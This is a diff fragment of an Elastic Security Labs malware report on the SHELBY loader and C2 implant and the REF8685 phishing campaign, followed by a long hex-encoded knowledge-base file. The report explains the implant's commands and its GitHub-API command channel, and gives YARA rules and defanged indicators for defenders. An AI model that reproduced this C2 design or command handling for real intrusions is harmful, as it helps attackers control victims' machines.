+![Zip extraction command](/assets/images/the-shelby-strategy/image30.png) + +#### /evoke + +This command is used to load a .NET binary reflectively; it takes two parameters: the first parameter is the path of an AES encrypted .NET binary previously downloaded to the infected machine, the second parameter is a value used to derive AES and the IV, similar to how the loader loads the backdoor. + +This command reflectively loads a .NET binary similar to how the SHELBYLOADER loads the backdoor. It requires two parameters: + +* The path to an AES-encrypted .NET binary previously downloaded to the infected machine. +* A value used to derive the AES key and IV. + +![.NET invocation command](/assets/images/the-shelby-strategy/image3.png) + +#### System commands + +Any command not starting with one of the above is treated as a PowerShell command and executed accordingly. + +![Powershell execution command](/assets/images/the-shelby-strategy/image7.png) + +### Communication + +The malware does not use the [Git tool](https://git-scm.com/) in the backend to send commits. Instead, it crafts HTTP requests to interact with GitHub. It sends a commit to the repository using a JSON object with the following structure: + +```json +{ + "message": "Commit message", + "content": "", + "sha": "" +} +``` + +The malware sets specific HTTP headers for the request, including: + +* **Accept:** `application/vnd.github.v3+json` +* **Content-Type:** `application/json` +* **Authorization:** `token ` +* **User-Agent:** `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36` + +![Initialization of the HTTP request](/assets/images/the-shelby-strategy/image14.png) + +The request is sent to the GitHub API endpoint, constructed as follows: + +``` +https://api.github.com/repos///contents// +``` + +The Personal Access Token (PAT) required to access the private repository is embedded within the binary. This allows the malware to authenticate and perform actions on the repository without using the standard Git toolchain. + +![Wireshark capture of a C2 communication by SHELBYC2](/assets/images/the-shelby-strategy/image26.png) + +The way the malware is set up means that anyone with the [PAT (Personal Access Token)](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens) can theoretically fetch commands sent by the attacker and access command outputs from any victim machine. This is because the PAT token is embedded in the binary and can be used by anyone who obtains it. + +### SHELBY family conclusion + +While the C2 infrastructure is designed exotically, the attacker has overlooked the significant risks and implications of this approach. + +We believe using this malware, whether by an authorized red team or a malicious actor, would constitute malpractice. It enables any victim to weaponize the embedded PAT and take control of all active infections. Additionally, if a victim uploads samples to platforms like VirusTotal or MalwareBazaar, any third party could access infection-related data or take over the infections entirely. + +## REF8685 campaign analysis + +Elastic Security Labs discovered REF8685 through routine collection and analysis of third-party data sources. While studying the REF8685 intrusion, we identified a loader and a C2 implant that we determined to be novel, leading us to release this detailed malware and intrusion analysis. + +The malicious payloads were delivered to an Iraq-based telecom through a highly targeted phishing email sent from within the targeted organization. The text of the email is a discussion amongst engineers regarding the technical specifics of managing the network. Based on the content and context of the email, it is not likely that this lure was crafted externally, indicating the compromise of engineer endpoints, mail servers, or both. + +```text +Dears, + +We would appreciate it if you would check the following alarms on Core Network many (ASSOCIATION) have been flapped. + +Problem Text +*** ALARM 620 A1/APT "ARHLRF2SPX1.9IP"U 250213 1406 +M3UA DESTINATION INACCESSIBLE +DEST SPID +2-1936 ARSMSC1 +END + +Problem Text +*** ALARM 974 A1/APT "ARHLRF1SPX1.9IP"U 250213 1406 +M3UA DESTINATION INACCESSIBLE +DEST SPID +2-1936 ARSMSC1 +END +… +``` + +This email contains a call to action to address network alarms and a zipped attachment named `details.zip`. Within that zip file is a text file containing the logs addressed in the email and a Windows executable (`JPerf-3.0.0.exe`), which starts the execution chain, resulting in the delivery of the SHELBYC2 implant, providing remote access to the environment. + +While not observed in the REF8685 intrusion, it should be noted that VirusTotal shows that `JPerf-3.0.0.exe` ([feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a](https://www.virustotal.com/gui/file/feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a/relations)) was included in a separate compressed archive (`JPerf-3.0.0.zip`)and also submitted from Iraq. It is unclear if this is from the same victim or another in this campaign. A file similarity search also identifies a second implant named `Setup.exe` with an additional compressed archive ([5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c](https://www.virustotal.com/gui/file/5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c/detection)). + +Analysis of these files (`JPerf-3.0.0.exe` and `Setup.exe`) revealed the use of GitHub for `C2` and AES key retrieval mechanisms (more on this in the malware analysis sections). The Github accounts (`arthurshellby` and `johnshelllby`) used for the REF8685 malware were malicious and have been shut down by Github. + +Of note, Arthur and John Shelby are characters in the British crime drama television series [Peaky Blinders](https://en.wikipedia.org/wiki/Peaky_Blinders_(TV_series)). The show was in production from 2013 to 2022. + +The domain `arthurshelby[.]click` pointed to` 2.56.126[.]151`, a Stark Industries (AS44477) hosted server. This VPS hosting provider [has been used for proxy services](https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/) in other large-scale cyber attacks. This server has overlapping resolutions for: + +* `arthurshelby[.]click` +* `[REDACTED]telecom[.]digital` +* `speed-test[.]click` +* `[REDACTED]airport[.]cloud` +* `[REDACTED]airport[.]pro` + +![DNS resolution timeline for 2.56.126[.]151](/assets/images/the-shelby-strategy/image19.png "DNS resolution timeline for .56.126[.]151") + +The compressed archive and C2 domains for one of the SHELBYLOADER samples are named after [REDACTED] Telecom, an Iraq-based telecommunications company. [REDACTED]’s coverage map focuses on the Iraqi-Kurdistan region in the North and East of the country. + +“Sharjaairport” indicates a probable third targeted victim. [REDACTED] International Airport ([REDACTED]) is an international airport specializing in air freight in the United Arab Emirates. It is 14.5 miles (23.3km) from Dubai International Airport (DXB). + +![DNS resolution timeline for [REDACTED]airport[.]cloud](/assets/images/the-shelby-strategy/image29.png "DNS resolution timeline for [REDACTED]airport[.]cloud") + +`[REDACTED]airport[.]cloud` resolved to a new server, `2.56.126[.]157`, for one day on Jan 21, 2025. Afterward, it pointed to Google DNS, the legitimate [REDACTED] Airport server, and finally, a Namecheap parking address. The `2.56.126[.]157` server, Stark Industries (AS44477) hosted, also hosts `[REDACTED]-connect[.]online`, [REDACTED] is the airport code for the [REDACTED] International Airport. + +The domain` [REDACTED]airport[.]cloud` has a subdomain `portal.[REDACTED]airport[.]cloud` that briefly pointed to `2.56.126[.]188` from Jan 23-25, 2025. It then directed traffic to `172.86.68[.]55` until the time of writing. + +Banner hash pivots reveal an additional server-domain combo: `195.16.74[.]138`, `[REDACTED]-meeting[.]online`. + +The `172.86.68[.].55` server also hosts `mail.[REDACTED]tell[.]com`, an apparent phishing domain targeting our original victim. + +![DNS resolution timeline for 172.86.68[.].55](/assets/images/the-shelby-strategy/image11.png "DNS resolution timeline for 172.86.68[.].55") + +A web login page was hosted at `hxxps://portal.[REDACTED]airport[.]cloud/Login` ([VirusTotal](https://www.virustotal.com/gui/file/02dc15a3bd3a911f6ac9c9e8633c7986f06372a514fc5bf75373b9901c6a9628/relations)). + +We assess that the attackers weaponized these two sub-domains to phish for cloud login credentials. Once these credentials were secured (in the case of [REDACTED] Telecom), the attackers accessed the victim's cloud email and crafted a highly targeted phish by weaponizing ongoing internal email threads. + +This weaponized internal email was used to re-phish their way onto victim endpoints. + +All domains associated with this campaign have utilized ZeroSSL certifications and have been on Stark Industries infrastructure. + +### The Diamond Model of intrusion analysis + +Elastic Security Labs utilizes the [Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond. + +![REF8685 represented in the Diamond Model](/assets/images/the-shelby-strategy/image10.png "REF8685 represented in the Diamond Model") + +## REF8685 and MITRE ATT&CK + +Elastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. + +### Tactics + +Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action. + +* [Command and Control](https://attack.mitre.org/tactics/TA0011/) +* [Initial Access](https://attack.mitre.org/tactics/TA0001/) +* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/) +* [Discovery](https://attack.mitre.org/tactics/TA0007/) +* [Execution](https://attack.mitre.org/tactics/TA0002/) +* [Exfiltration](https://attack.mitre.org/tactics/TA0010/) + +### Techniques + +Techniques represent how an adversary achieves a tactical goal by performing an action. + +* [Reflective Code Loading](https://attack.mitre.org/techniques/T1620/) +* [Phishing](https://attack.mitre.org/techniques/T1566/) +* [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/) +* [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/) +* [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/) + +## YARA rule + +Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SHELBYC2 and SHELBYLOADER malware: + +``` +rule Windows_Trojan_ShelbyLoader { + meta: + author = "Elastic Security" + creation_date = "2025-03-11" + last_modified = "2025-03-25" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "ShelbyLoader" + threat_name = "Windows.Trojan.ShelbyLoader" + license = "Elastic License v2" + + strings: + $a0 = "[WARN] Unusual parent process detected: " + $a1 = "[ERROR] Exception in CheckParentProcess:" fullword + $a2 = "[INFO] Sandbox Not Detected by CheckParentProcess" fullword + $b0 = { 22 63 6F 6E 74 65 6E 74 22 3A 20 22 2E 2B 3F 22 } + $b1 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 } + $b2 = "Persist ID: " fullword + $b3 = "https://api.github.com/repos/" fullword + condition: + all of ($a*) or all of ($b*) +} + +rule Windows_Trojan_ShelbyC2 { + meta: + author = "Elastic Security" + creation_date = "2025-03-11" + last_modified = "2025-03-25" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "ShelbyC2" + threat_name = "Windows.Trojan.ShelbyC2" + license = "Elastic License v2" + + strings: + $a0 = "File Uploaded Successfully" fullword + $a1 = "/dlextract" fullword + $a2 = "/evoke" fullword + $a4 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 } + $a5 = { 22 2C 22 73 68 61 22 3A 22 } + condition: + all of them +} +``` + + +## Observations + +All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/shelby-strategy) in both ECS and STIX format in a combined zip bundle. + +The following observables were discussed in this research. + +| Observable | Type | Name | Reference | +|------------------------------------------------------------------|-------------|-----------------|--------------------------| +| `0e25efeb4e3304815f9e51c1d9bd3a2e2a23ece3a32f0b47f829536f71ead17a` | SHA-256 | `details.zip` | Lure zip file | +| `feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a` | SHA-256 | `JPerf-3.0.0.exe` | | +| `0354862d83a61c8e69adc3e65f6e5c921523eff829ef1b169e4f0f143b04091f` | SHA-256 | `HTTPService.dll` | SHELBYLOADER | +| `fb8d4c24bcfd853edb15c5c4096723b239f03255f17cec42f2d881f5f31b6025` | SHA-256 | `HTTPApi.dll` | SHELBYC2 | +| `472e685e7994f51bbb259be9c61f01b8b8f35d20030f03215ce205993dbad7f5` | SHA-256 | `JPerf-3.0.0.zip` | Lure zip file | +| `5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c` | SHA-256 | `Setup.exe` | | +| `e51c6f0fbc5a7e0b03a0d6e1e1d26ab566d606b551c785bf882e9a02f04c862b` | SHA-256 | | Lure zip file | +| `github[.]com/johnshelllby` | URL | | GitHub Account name - C2 | +| `github[.]com/arturshellby` | URL | | GitHub Account name - C2 | +| `arthurshelby[.]click` | domain-name | | DNS domain | +| `speed-test[.]click` | domain-name | | | +| `2.56.126[.]151` | ipv4 | | | +| `2.56.126[.]157` | ipv4 | | | +| `2.56.126[.]188` | ipv4 | | | +| `172.86.68[.]55` | ipv4 | | | +| `195.16.74[.]138` | ipv4 | | | \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/under_the_sadbridge_with_gosar.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/under_the_sadbridge_with_gosar.encoded.md new file mode 100644 index 0000000000000..0086ed960f0ce --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/under_the_sadbridge_with_gosar.encoded.md @@ -0,0 +1 @@ +72026e5899717bf5165236262a94934c7b9cf56e413b821a0380f05f83236a2889abbd5cf47b00215e05d3c9196c2e3baba2cf49532cd9dcee1aa540addd21b2b90afb2524e429813feab15f695e67236207c9e7c405f9fe3cdacb33d723a358599aa1283f0ff8caa769f50ca0d0e2a29e41680544b3762b860ecaf4c410dceacea900dbab4729e3ffdc01b4530644871c186b258923114183593319f68de6f452d40aff489ce957ca4b5f0899517e0df9db76fe5f7a8d59fadde8bf7f05b4843d836b3644a9c9c88614539ddab5d0c398a1763b99b221970d64b0628a8ad7a08b61eedd93456c4851a689015074f168029db769101deda6dd907245ac2fb3708d9163c42fea19faafaa9b678178d44f2c1b40cd6acae7c3c43033eb7a1a5500d325aa23f36afd81feb5e3db780223c511f5b58d8bcc22965b69344104e5572f057100310b60a8049733fc4e1ffae5fd746a51e94e7d8d239f9648605a47e3d06a1da15ff99a1d25590317046866d36aac64fffb39e02aa0209f1b1117cb6a721c440e5a740fa308236eef76986f3edfeb5a940f1806862c4b61c3e36ab01243e71024c0a84477c2a07b5d7c8280244af8c897b0815abacc739a13250f9b34b57323c544d3d84be3dca04998d1975817fc3c9caa2e96e81accb92a8112b1d34a9290beaea56ccc336f931fea9e1c7b8313307c4296b8529f67f022be3e87838015099cfd691d65fd96a5b95ab96ba20fb8603763ab7fdebb0a3884f8986121b04e248b022b56557631e326eedc6652309324866d6cdbe06b9d5843263208e99138b3a67f082d500ac66ff6fd192eb833271a508254702ed29925a23e6ab6c0fc70210024254ad6f51b838e41f7162835cf2248de49546f2f65c2da73368475472fbfd161a253c0ff8ce2487db53fbcbd94e02618b7ef1195f332e897c3cdc3fc07e5e8d5637626fe8881b298e811c4ae7d64923b67ef9bf872efe7467831879cb03376e381a5d70557a8c95ef9c2b8154f6c163d3a85570cbeb8a50ba3df3d22b430d53c2b40801b4ff29a06919b37776818c181744b7e98eb69722a4d9c6d5bce489cf985e6a9e82d9e868d87f2f5d4684793eca77c99621399317c00efd85de73a54b358daac58725b77a9aac5b5fdc625e938c645525df1fde76776cf9fe2fec5461ac706fac941bc482ced391edf9f6b42e46a02a770d677322169f320040be889fb3c9aae9b5be14d6b7750938b8a89a9034c4a2ec27f8347a7ade5515088381ede46fa0701056ec1790b3d5b586ecad05f8e3291e2283bcf469bedead1a9a1b7a205c2724643fec8bb4defaad00ea74005b5b36a62bd2915f7678c35496879d5ae85aeb4b7dcda289405f32b981310394e2572d41f0050adbcad8d2d87c4f34b41ed9cc844e8d4ae44cd393d6d5a626fd43cd945bf9aecbdc231d98b86fc31512ea30afaae0949af16cda9f810f8f4b167221f39612caf4f846649adc9241b3cd5f0c32eb4d59208ebcbd574458f26c880c340a263a587931b6b22f9c1a6467f9804ba0ffb85b0669febb3beee66df8bfe6c99fef6b61597dc2d780c6a3ab9cbdd39dfd118d88ab4213bb5561ba2ee1adf39d632e8b9c59593e1e02b7850ee3ecafcb67edde7e61f4576ed424c61d43569734bcca65d090d421c8226c3ab286092931af63d9a195b4d767dc85a7cf81ef858f9fafb8aedc501a9458aaefc712f2416fba0d5002133ede35d733e36b2a1b56b3daeb7c650ef5e1d4a0fed4c3732d7fc7dbcfa7535f9827bc7611d113503b81a5cb7895c2f42ae73c7ea6818a2a7a255515a3e8d9caa762c318f0453e14145d7472c6a14507f6295bc256ff22609d76cc9b9ceae1a95d8a38d91de1f4676ba3b33e5aed843d38139c4707e52b81fc5429ab5979d510c9b06b1757e98d3314ce718308e15ebfcb2683e18253f96fd2781c97adb9e55a31843e4515fcea33a0d7192798ee0410930f450906872e034066ddfaee1468b934b55600c7b01b69fca819fffef278bb6eb1173d42f7262f734e3a72aded70513472d1f3cfd9bc6e2e6dda51e24c8b7a0d09207098a77b97cd8a6f6dadeb45b74b814e41dbee7e40f18854fab67fc54a40102e0379982b533233c506c1cc9c85488426972eaaa09abf7eda6dc9585410a1a1cd0e69ccb4908619bcb9bda2f6145eb3a4bea50ce6730bd954e3bec267968483babab00a67048c4b21ab238f4070e2eb6052b6cb149b669042b6a3de16ed2404414458ffb08d81771e6a8131826a50d16e651131de86ceda0ee2a54fd99727940168260831a4d2263619781d0a915b8f2af877458b0cd468339c7b6b6246e2fcae5fd3943c8579268ee900e051cb9d35438c94bdaac95aaf4a12959bec9fcd40b63d7dedbe03f4d709fb9a857624861d114b5b1c64d6a67173f65224bb85b3d7922ebb7fa649f8f9132352a361d82c414391b0860c88ff30122a34aae63164f6324718e3013444e71cf1a69129b1aa1df6cb222d5bb7c290368e0f1bf29aa73cb54c94a25f94c0ff751226f9b56f2d23af006f075bfc2271de4fc69b4bf34fecfacf0d7cc82e87e8fa816699a013d980c30d1229dab45cf40d64be6a37b0e14bb222f06f38519731c3037401d3ec57b44a4a79bebabed83701b1a6d32350140ecbcfd1573ac574825b76fa24eb76a99caa16be1bcbfc1a497df41ecff97bbf6ba54f58fecfb997ae0a7a984c5e40c3af3186bad6538534b7b9ab26343b2714819f9331d5b0fa96264c9fbc78ab06f41f643f573da83e16d2a5308dc7255822da3a3d125a48ccbb15d2c8e4d79522e0125653bad9322857e1d805ae9b38b935ff170dcc5a8675c2939dd06335399101b9c2baae0185f79cacbd955c832fdc5edb0ae2c8f938fec0401994321570fa29dce8d0e424eaa59a5baade663179ad650bae792b1eb4caec50a4aa4741b55aacf16f3f253ff786d5b284efe3dd5027ebe79e4ff86b298d55a79cf7db07c628d5fc92ce00cc4cd1d1f4bc21e77f2c455a6c132f3242a4ff486d657a476bb4b4f3ba41f3dab1cbe425fb54780b5c2c0079584ac69e083a36aac6350c7871dc6a092626acfc3aa0b5b2a3ffe71967c88f65af7a3fa7aeb2076571e7efe2208c3603fd121acd91579c159d0d0e37e27d147a9e38c42c04528d77c81b347d82b65c1ab6ecc50ca5ae0ac28b18c8e6162259297b069225f9dd929392c8844863c42b5be816ffaba683571092bd3cd400a421ac0855d2c814b32942e2755107cff0a9a7bec6fdb9b852e58e19fab5618c34f153a29ba55949351bdac04dd89dfe16aec797d954f87f2ff9b8ab62180f3184017ead11d94a02e8f6e8ab566e6bf92689aadf442119f111c29bdba52f109b09cc3e8bf7bd04c7c2657b0ef9e337065dce41a7cf6b4f9f1ec454746c5d1f1044ddefdf54385f08395ed3027e6c16b32dea67052dd58fe907511a4cfbea2d2d4a4f9a9b73af28a0e6064c13a1f19e40988fa25bf71eac57f4940955942cbdbd234b2399e7bdecf8eb43c5b5e164da85279a5b34293518af0cd429b7c0bd1588e57e45b81dc6f0648ac2cd8b6a7ccf89640572145087b3f702aa54f88cd1c711f98c05c08e3143bb2f679652f68472ea94ee0b115d6a634dbd597d145451dcfbabb3363829af57d059ad80a087631864d9ac12a31c19b76ad27d89c893760fc0bbd860bf9de2c5e347221805efbcae3a49c98c6e582f7f7338d5d8295356a96c6882332289550dfc4bcaf6eb6f38c61fc25e56d09d76c2cbb3bdcc50d520abca7e9f6b913d2aa6de6d1cbd9c6e972beb8da4ca62600e8a948727ed1a35b58db0dcb9abe8294d2b34f84cf193dd2f5549b404325e700fbbaa624caf5f572a6d01e4a3517024b7b5e60b0e5d468eb142efed550236d5a968bce78166e5cb7d20303e41279763752468f8d5844b4ad978a12350a640f882eca2ea09dfa025b8e5e4dcb438c5a72833d5e2edbd7e2bc4f34d47b9906c1d7341461500a11190cd12c26d081f1d9c0873c4858024b9b3e781cfff13660727adfcee54844f479ebce432eeaa4ec107ba195080c7a91ee0084763a13614fc7f48da56d393b3d59d3beeb464087a17cdd17118fa03b853050c5dc84d39bfbc44881bd5b4686fb9dbd1c93e8e5493eb5d8654bc637dfb326860cb5ecbacf89fd284a51472628db7e76eb68663ce1820174efe446140a27a6e5c7c87bee3717d4616f80aa3db8d22d9e246c8555dfee0df3dd7b8b6f774bf09d3b712dd0dbb51facb648586cb8399dbb5fb1cdacfd36c553dd739407e51727bb1f19a34bd694dbc2fcbbc24aa840ed5440af67e5a9a817fa60032695a138bacec896d0674097aa4ec8f6e632439c2933f0edd615505948c726163a0a5ac3bf9abcd538b19c878dae1386a2c99577aec194c7eac88f1dd73536ea4770853529761092b14119fbe957f4b432c44af9d976b87ffd38965c0847640e17e238d9184b9c37b0aad86241a538c7a779bdfd0139f661b013b83e1261a3c44af1e35a8513fda2442ff9c7b656851ac7de1159d00e48a4790d76dd5e2c9cd662665b2671b090fa16d0645b92a3c014379c22a58ed26b4b24aeeb60b15dcea8b28ce29a7a10f6f3e0a2f12eb86945da4fbb9493e46f9e4755ad968db8f815dd7b6768d311a8a9636a91b905c0dce1694c4234e72d9cbfe43befad1a8df4bf6660339f0fe984a92b3c8f288c585bc065991e938dea853225db2deec424cd6d98af1bfecdad9da21ee42aaf91817e6527db4e54499bad47f7a7c5b8091d9eeb52db65003d67dae9c2f2131fa140e3e2f40dfe1260643464c109db94fb18420bc275f7349e0560b6cf61d5f16da6b7e15df16c8a212563b26b6d6c6ec27235bda99b95ce2c18fab5367ffb399f9e99ea7780e1377a294f39dbfd008bedd473de9982754918fe393aca489e161a12664486d24c10bc3a22aad5e5b1216c9f45332d1ba2ac7b867bcaa02be8cb5fc94de78f4a4a293e82a3639bdc1067bb63dfcb17ff4c7ebb0a4ccf3d70667240b3ab54bf8308c715eda8fa9af363dce1f12fb7d2ddfd27aeadbf584165c44cfd2f205b4f4c203c7f6ff358a9cf87aaa9786eaf178723d5cdec53d686cd38f94856cfd8a74b0890ec23c36a4aaa1ce2e3168cae391e71ee5ea236fb5e98fd9c111185b68b906faa34a6da0828c05dfb2457757f0ba154acf5fcd1b291d72dccb231f5c50940f624e3d5e8ab2727cb6c98e1a6ac10d1d6a98cba744f3298507a9c77fe8a75b15538fa6a9dc9e2c05a7ab1bd43f4ab499f16551294c4e9717e62fa15b0105e40c045998c1d9f6df9afdfa4ba2abd4c8b8653768f3eb5e8be181f98e080dca0ac0049ea3507cd939c2458f60b4d60a51516867e962be0f4a1c3dd1575d83c5a11dd72f1b8dca7e4d79cf0ba7e43b7ed8179c3bca179bac097bb371238d3b7abda7785be3f570dfb8e43ce6b0f0ce2fb8b20eb3d3aff879de088a21a9edd58123a2bbb4a978e790fa4696c966374b01fe8de8784e2d69f0fd2887970b11175286b562a74b8713e6e8713331de13447bb75f729b5df373c8ba7913803b5516232711e5d26debe180150383af0a8203159ae3696cab84bd3dad6c9cfd605bfdbe3418f0e811104ea1f22cf17c9dc305a93ad5e720b06130fa5b5af70d8ebba3f442f06b826e4602fb850b1aca4c967503dd5f5f8d3477273776e266eaad4154ee7e89bca4559b76f8c6d48bcbe7b770970b78e8e049969d5c25cc597e02a8517e741e3b7b143736ef423300c0cf2a33f70f6e5e21b44f4a030926976f92ad763a520510a4ca52bdf3c13859cb01f839385ec0a399268fe81c8204eee1d4b907cef029a27834d8b9d76d8589834ff516d956ca5d49eb5837351c8e3555a738999db0ef9412f43b2fbbbf37dd0924b00f3568b4693ad302370cca3ad4550a25d6e3b9b28ea6d5b68558d3f22f65f3a605ae6fb411f2b9df980325926c50a5cfaff6e84d7b56b9d460ac5cd069ef1101ef14ffd69e1993b7ce2a73e08deb5c7afd2a9aac46436ec4af1ad2875f4aff8ce161f560a28efb4418dfad3abbf005c6bff2b4c972d6aed2c3d0566db76ad7043838c82af7df8a93461e1a4fc116ae663033be1281aac7d130a1c4ae096bc4a5ebdb1ef4d1149e69094d319aeeb76696db27a37f4f028fed18a50733751c910eb9f54ebe8439939a885805e7c104ff4749258a9fd0384ec6b68ebff3f7d2502affe2b7ff8d57d5b66cf768b2f405d7b5a34ba6aef46dd06bf1ad33d99e13d55afa96ff316ecf8ff067b3ab85e3702f2f8b89652713b3558022c5a4b80c5cc648c0af6546747c8f3511c1cde685e74b35fbc67876d2e4f5f79d2aeda6d9f267807847de5b24f074ab810a75e3f8edca75e3461efc9c67de86a36c2dea8fe5278e822c478dd0a17d0ca1164b58daede29416b7591c0be61f32cd1a9f62da01c4a43b1164c6dd461967f1220a7248ed209cbc19ecfae29d308639b1d6b356f7df8187861eee4c32039a8b5eced78ddd3c55a56a62da5b0828495e7b7e54ebce0ba2f8b1da12a6902a4f7a0da8a4204f43ae6eb8e533352f52b61e8e4c413b38f0aaa18ce0f0114b743593bdc8af8784297150373c2b6ed314ddb1386d0378f6e60ccab13eb902318b6b849282f9c8c24de8d1f73b87a4b4dd4b21c17b77e2cf0bfdc1615e495aca90f482f3f02a75e5dc7bb70926d8da5ecc3d1bd7e67db34683b13895480bf4819bbfbf3ebf78324aae1372b28f8e02a9ca8a3229c8bba4db4e8ff4c4b95da9406d538f4484807b8d8b7f5efde1254b69c30b3c281e4252381571a2e24cfa12e2a8a49f6e248a7cac492633ab15636362808858be9d65a3192d55078d374b4b36526fa92f67c6e7a5e1c1948228a26d9fe2f9a625d5108291deef95651e1880fec30a43713775407d8c03e01e0f5fdf8baf2e1ed86f543fdf8ba1f8733956986f1663db9c48f6b8f70acd8611fc404606ad32c794684b88a92f3ae5d801d0339811c7584cfae14b564edad3e71afbfb320c17161faf760f31cb0ddd8be566d75276c8e57b9e8966a6de38f6007ad7a61350a471899fb1fcd5440e4dcdfd32fe66132403db59b0848a34627a21a9e762b6db4505bb2602565c16ed2f16360dd262581607622500713726db8c55400806a7a547f2b80ef7911321e2d7b543b22dd98b7a216112c79952ca764bafa2b6df65efea4280eb61839d928f699093a5fd2d37cabcf4cd564e63e8b4e343d79d4ca8ada4800902d978e8726786f964ac623670d577fe0fc3fee68fbc54fb9590e142c77c62c052fd4ed4bfbc9b621e195d4f8b5051bd4dae36360459648a4dbc7c9163e64797db0fa2d73f9cff9dbc50e613fc923f72cb31ab3acaed3b7da4956ced169057dc3c0514b24ad9ef82fee4cc0ac2ea582d9fe4d9e8459e6ccd9192516a1e4ffb9a273391122eb677f45af70fd2d35bf09197d1db00468fea4992c59bd4d3a5f5533482abb011d699a2e500b617e6c2d932ac68270b195c32b7c18bba98115742429ad29011125a3709a5d80cfcb6bb9840a9d3cf24276b6a2b0047b8ff33e8cc8a4fc86632396b8d59faaee3c824ad24642a0eb0392f377c9c10b7db3801641fcd65f3528a30cab83f7821560e6064a81a98eb875fe5ecaea05a3ee18e7b66b1475e50d35859b7dd872a0c55145b556f747f251da335c8eb130dd5c7dede1377b86aa3d56cc8059f0f163f3576d258bb5010f8083ebf36dbed7156bf3d50200278761b2136a2cced429287d1545670ee8a05905aaf25f92d5e9b374a3c4d49f07dcc85055923b3ede34cc0f25acf6998cd37bb7ecd3c2eba530a618afb3e0e6e713e84eb6ef671f8d629b4a88ee2b3bdd38cb4fdb390a2d5433dc2777eb1d7989561a794eb752e98121dff579c9a987d7e9c94581b2633fe09a0781d8c2369abc195312adf581d2408823a9b7973420e9cd7e4060a1d8d5ba20e335d947e1ec97f8c623782efb448a046cafb10c9f4f11fdf47d0fa1e17c2e68462764c4d703a7cc43bd7f1759e24a81a5b616ce8427abf623d376c85be531be1a44067fdc539f1512ff84ee51fe05987c990fd9c6f29ccaa2e62c1f55c38d2bc8914e53628733963230817de9255d08748897d17c0fcd51aaec42232162a5b3cffde6a991b54e7c13453bd411e917828f62bb9576af36c05929edee0cb1880a9be59ffd47b27ffc20ff70d3facd9d7d6b718e92f901ea06d59776633841f35282265f5b9a4f3547c4529002221f55b7578d92b2b4204c3cdad96ad4b2bc4680a99fe69a11e4f0112beb17ba20e42b36b6d20d544f669a82045af0ab0286c183733071f5535bec9dbf105be53bddc267032aae57ca58844325bbc45075b0bb3bfc0e30e31a2f64a06b376a681288bf6c3325baf3ac47620e212a2f5af8be6443c72f7b9303bb6641063cdac6381e69c44cbfed494e327385e90b41f2004090752c95f787f12c7b029496bbdb49a3e57cdb5b113e29fa9a33ea2b5e7d44b588b2b3e598c7a7c8c611b186c39eb40feee149449883a32d3b0436b4d69733ee9d3c3c6a72fdf49a19455f97ad74b09ed899a28e685e343720015d6624ff0ca2bcd778f065d265cafa9681f44b1768900efa4f92e53da39356b74266c824f65429439d81a2581e79f43215a8420573336e56a8a66a71656220ce0ec35d243e3b8439c7ce4f095050fe44fbd6efabf38fe4faf3cfc2517baa22e231edc1adf89e4504ac7e1600a330b71150f0562ac9958d8eaecefcd59dec85f2e3eea8c493f13c7e59ac97d1110439fd4eb1974d1d36c6beb8c05d5fb5f2908bef9668ce2fd273233bcd88d7a25a74e745cad2f34362e85ff1b35b55abf2a3d2f8945e11a3aee715d31d642040e56f8f8728cd62e22527630f548f1aca3e07f2ff53349f506972fc6be29de50d957cbfc688d4594db250861731c4b1c6e61b943b93f47fb18cb1c92c0df43a6836c5bbafc9f498a2708214e0bc6f7f56b0e004c8d4dd71f83e60bed709a191913e4ea4d266e486ca59dbc5d8ecffb7a7e8411a41acc75317f4a8dba0125e611f0aba8ac4c82f5f8c9dcd2940690533b0239cad7d5e01984b441ee00f288b268a8a37c70aef079c85d0614020899aa0b0030cb9b7a67c00170f2e3f00c6dff783af2325f172537e9a03b0713c349d8f3e17f9b1548ed06222329af86d25d72781062d1f9be459404a678c0c41d75f8a2e8e37e453976a37159e90175489a12a892a729d969f7ea93ac60f5d0d57b7c2443bff2f0b3c7221dffeccb42dcd919472449e006b64ad4bc9d1cc3b03f51a8d2133d58f480f84f1b68a86cfcdd160039a33296959c1443322bf167254b262821ee941d8ffa08092f6aafdee98f313978ca1fca8fd539ab3860ba14ab67d3ca00f5f53cb92f057e19ad1ae31fed123e0b19e6df7f8008a4ac0c8a4cf36b32c339ac853aa7b6f41706ebc00aa0976484c1c523e528e08d31f503fb2fc9db5bdb6ffc45822acc676ad592a41dde8044ba2d5e61d68d89dc28f8f18d02e21771b66749e18efcc4483